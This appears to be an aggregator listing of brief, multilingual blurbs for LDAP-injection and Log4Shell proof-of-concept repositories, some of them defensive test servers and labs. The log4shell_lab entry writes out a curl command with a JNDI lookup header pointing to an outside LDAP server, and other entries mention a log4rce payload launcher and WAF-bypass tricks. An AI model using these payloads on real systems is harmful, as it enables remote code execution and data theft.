CVE-2020-1958

PoC de CVE-2020-1958 CVE-2020-1958 es una vulnerabilidad de inyección LDAP de alta gravedad en Apache Druid 0.17.0. Permite a un atacante omitir el filtro de búsqueda LDAP y recuperar cualquier valor de atributo LDAP de usuarios que existan en el servidor LDAP. Del aviso oficial de Apache Druid:...

CVE-2020-3952

Script para comprobar el estado de vulnerabilidad de CVE-2020-3952 Está inspirado en exploit de guardicore pero con una ligera diferencia: NO crea un usuario administrador. Evaluará el estado de vulnerabilidad validando que el grupo integrado Administrators puede ser contaminado creando o añadien...

CVE-2026-5050-Blind-LDAP-Injection-via-Unescaped-Filter

CVE-2026-5050 – Blind LDAP Injection via Unescaped Filter Program Code Python with ldap3 simulation root@kitploit: ldapserversim.py - Simulated LDAP authentication server from flask import Flask, request, jsonify app = Flaskname Fake user database USERS = 'admin': 'password': 'secret', 'role':...

vmware_vcenter_cve_2020_3952

Prueba de concepto para CVE-2020-3952 Este es un breve fragmento de código que explota CVE-2020-3952, el cual se describe en detalle en la publicación de Guardicore Labs aquí. Esta vulnerabilidad fue publicada por VMware en abril de 2020 con una puntuación CVSS máxima de 10.0. Permite a un atacan...

CVE-2020-9495

CVE-2020-9495 PoC CVE-2020-9495 es una vulnerabilidad de inyección LDAP de gravedad media en Apache Archiva versiones anteriores a la 2.2.5. Permite a un atacante recuperar cualquier valor de atributo LDAP de usuarios que existan en el servidor LDAP. Del aviso oficial de Apache Archiva: Al...

CVE-2021-29156

CVE-2021-29156 Prueba de Concepto c 2021 GuidePoint Security Charlton Trezevant [email protected] Antecedentes Hoy GuidePoint se complace en publicar una herramienta funcional de Prueba de Concepto para CVE-2021-29156, una vulnerabilidad de inyección LDAP en ForgeRock OpenAM v13.0.0. Esta...

jndi-ldap-test-server

jndi-ldap-test-server Este es un servidor LDAP minimalista destinado a probar la vulnerabilidad a ataques de inyección JNDI+LDAP en Java, especialmente CVE-2021-44228. Cómo probar la vulnerabilidad a CVE-2021-44228 1. Descarga el binario del servidor de prueba para tu plataforma puedes encontrar...

jndi-ldap-test-server

jndi-ldap-test-server This is a minimalistic LDAP server that is meant for test vulnerability to JNDI+LDAP injection attacks in Java, especially CVE-2021-44228. How to test vulnerability to CVE-2021-44228 1. Download the test server binary for your platform you can find all binaries under Release...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 Muestra tu apoyo - da una ⭐️ si te gustó el contenido | COMPARTIR en Twitter | Sígueme en 🐱‍💻 ✂️ 🤬 Exploit de Java LOG4J - Trucos para evadir WAF y parches 📝 Descripción CVE-2021-44228 funciona en: log4j: 2.0 = Apache log4j = 2.14.1 Versión de Java ya parcheada: 6u211+, 7u201+, 8u191+, 11.0.1+...

SecurEnvoy Two Factor Authentication - LDAP Injection

Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the...

CVE-2026-42568

CVE-2026-42568 — Inyección LDAP en LdapAuthModule de YAMCS Resumen Existe una vulnerabilidad de inyección LDAP en org.yamcs.security.LdapAuthModule. El parámetro de nombre de usuario se inserta directamente en los filtros de búsqueda LDAP sin escape según RFC 4515, lo que permite omitir la...

python-log4rce

Python Log4RCE Un PoC prueba de concepto integral en Python puro para CVE-2021-44228. Ejemplo root@kitploit: python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=" root@kitploit: INFO:HTTP:Running on local port 1337 INFO:HTTP:Remote...

log4shell

Log4Shell CVE-2021-44228 — Informe de investigación Un informe técnico autocontenido sobre Log4Shell , la vulnerabilidad crítica de ejecución remota de código en Apache Log4j 2 revelada en diciembre de 2021. Cubre el análisis de causa raíz, la cadena de ataque completa, las pautas de...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...

securenvoy-cve-2024-37393

securenvoy-cve-2024-37393 VERANTWORTUNGSVOLLE OFFENLEGUNG Skript zur Prüfung der Schwachstelle CVE-2024-37393 SecurEnvoy MFA 9.4.513. Proof-of-Concept-Code zur Prüfung von LDAP-Injection. Behebung Die Schwachstelle wurde in SecurEnvoy MFA = 9.4.514 behoben. Links...

log4j-docker-vaccine

Log4j Docker Vaccine Un modo containerizzato per eseguire il vaccino log4j offerto da Cyberreason https://github.com/Cybereason/Logout4Shell Come farlo girare Clona questo repository: root@kitploit: git clone https://github.com/jeffbryner/log4j-docker-vaccine.git Modifica il file containers.env p...

log4j2-exploit

Log4Shell CVE-2021-44228 prova di concetto Requisiti Java JDK/JRE 8 o versione successiva curl exploitable Semplice applicazione Spring Boot che fornisce una pagina di login con nome utente e password. Registra il nome utente quando viene inviato tramite POST a /. Non è necessario che...

CVE-2021-44228-Log4j-lookup-Rce

0x01、Ambiente Jdk7u21 qualsiasi versione va bene Versione interessata: Apache Log4j 2.x org.apache.logging.log4j log4j-core 2.11.1 Poc root@kitploit: import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class test2 private static Logger LOGGER =...

Triage-CVE-2021-44228-Log4Shell-Log4j-

Analisi: CVE-2021-44228 Log4Shell / Log4j Per questo laboratorio, l'obiettivo era analizzare un'altra vulnerabilità reale e ben nota, Log4Shell, una delle vulnerabilità più sfruttate degli ultimi anni a causa della diffusione della libreria interessata nel software aziendale. Passo 1: Aprire la C...

TPASLog4ShellPoC

TPAS Log4Shell PoC Dieses Repository enthält einen Proof of Concept PoC für die Log4Shell-Schwachstelle CVE-2021-44228, der im Rahmen der Lehrveranstaltung TPAS des Masterstudiengangs Informationssicherheit an der FCUP entwickelt wurde. Es umfasst: Ein React SPA Frontend, das eine generische...